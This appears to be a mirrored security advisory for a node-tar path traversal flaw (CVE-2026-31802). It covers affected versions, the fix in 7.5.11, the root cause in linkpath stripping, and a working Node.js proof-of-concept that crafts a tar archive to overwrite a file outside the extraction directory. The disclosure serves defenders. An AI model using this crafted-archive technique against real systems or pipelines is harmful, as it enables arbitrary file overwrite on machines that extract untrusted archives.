---
title: "GHSA-9ppj-qmqm-q256: node-tar Symlink Path Traversal via Drive-Relative Linkpath"
description: "High severity. node-tar Symlink Path Traversal via Drive-Relative Linkpath. Affects tar; fixed in 7.5.11."
url: https://inlinr.com/advisories/GHSA-9ppj-qmqm-q256
lang: en
---

[Packages](https://inlinr.com/packages) / [tar](https://inlinr.com/packages/tar) / [Security](https://inlinr.com/packages/tar/security)

High Vulnerability GHSA-9ppj-qmqm-q256 CVE-2026-31802 Published 10 Mar 2026

# node-tar Symlink Path Traversal via Drive-Relative Linkpath

Your version 

Affected releases · [tar](https://inlinr.com/packages/tar)

- 7.x 7.0.0 – 7.5.10 Fixed in 7.5.11
- 6.x and older 0.0.1 – 6.2.1 No fix, no longer updated

On 7.x, the newest line:

```
npm install tar@7.5.11
```

Every release on a timeline

7.x 

1. Affected

7.0.0 – 7.5.10  
21 releases
2. Fixed

7.5.11 – 7.5.22  
12 releases, latest

6.x 

1. Affected

6.0.0 – 6.2.1  
24 releases

5.x 

1. Affected

5.0.0 – 5.0.11  
12 releases

4.x 

1. Affected

4.0.0 – 4.4.19  
31 releases

3.x 

1. Affected

3.0.0 – 3.2.3  
22 releases

2.x 

1. Affected

2.0.0 – 2.2.2  
7 releases

1.x 

1. Affected

1.0.0 – 1.0.3  
4 releases

0.x 

1. Affected

0.0.1 – 0.1.20  
21 releases

154 stable releases of tar, oldest to newest, one row per major.

## What happens

Summary

`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

Details

The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.

What happens with `linkpath: "C:../../../target.txt"`:

1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.
4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with `tar@7.5.10`.

PoC script (`poc.cjs`):

```
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
```

Observed output:

```
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt
```

`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files

## How it is exploited

Exploitable with local access, with no account and no action from a user.

- **Confidentiality**: none
- **Integrity**: high
- **Availability**: none

CVSS:4.0/​AV:L/​AC:L/​AT:N/​PR:N/​UI:N/​VC:N/​VI:H/​VA:N/​SC:N/​SI:H/​SA:N

## References

- [Reference](https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256 "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256")  
github.com/isaacs/node-tar/security/advisories/…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-31802 "https://nvd.nist.gov/vuln/detail/CVE-2026-31802")  
nvd.nist.gov/vuln/detail/CVE-2026-31802
- [Fix commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad")  
f48b5fa
- [Package](https://github.com/isaacs/node-tar "https://github.com/isaacs/node-tar")  
github.com/isaacs/node-tar